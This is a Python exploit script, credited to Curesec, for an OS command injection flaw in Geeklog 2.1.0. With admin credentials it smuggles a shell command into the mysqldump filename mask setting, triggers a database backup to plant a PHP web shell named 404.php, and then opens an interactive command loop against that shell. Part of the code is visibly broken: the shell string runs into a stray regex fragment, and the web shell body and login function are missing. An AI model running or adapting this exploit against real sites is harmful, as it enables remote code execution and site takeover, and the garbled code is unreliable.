#!/usr/local/bin/python # Exploit for geeklog-2.1.0 OS Command Injection vulnerability # An admin account is required to use this exploit # Curesec GmbH import sys import re import argparse import requests # requires requests lib parser = argparse.ArgumentParser() parser.add_argument("url", help="base url to vulnerable site") parser.add_argument("username", help="admin username") parser.add_argument("password", help="admin password") args = parser.parse_args() url = args.url username = args.username password = args.password loginPath = "/admin/moderation.php" configPath = "/admin/configuration.php?tab-5" backupPath = "/admin/database.php" shellFileName = "404.php" shellContent = "', csrfRequest.text) return csrfTokenRegEx.group(1) def injectCommand(requestSession, url): csrfToken = getCSRFToken(requestSession, url) postData = {"_glsectoken": csrfToken, "conf_group": "Core", "sub_group": "0", "form_submit": "true", "mysqldump_filename_mask": 'geeklog_db_backup_%Y_%m_%d_%H_%M_%S.sql";echo "' + shellContent + '" > ' + shellFileName + ';"'} requestSession.post(url, data = postData) def executeCommand(requestSession, url): csrfToken = getCSRFToken(requestSession, url) requestSession.get(url + "?mode=backup&_glsectoken=" + csrfToken) def runShell(url): print("enter command, or enter exit to quit.") command = raw_input("$ ") while "exit" not in command: print(requests.get(url + command).text) command = raw_input("$ ") requestSession = requests.session() if login(requestSession, url + loginPath, username, password): print("successful: login") else: exit("ERROR: could not log in") print("injecting command") injectCommand(requestSession, url + configPath) print("executing command") executeCommand(requestSession, url + backupPath) runShell(url + "/admin/" + shellFileName + "?x=") Blog Reference: https://blog.curesec.com/article/blog/Geeklog-210-Code-Execution-Exploit-120.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany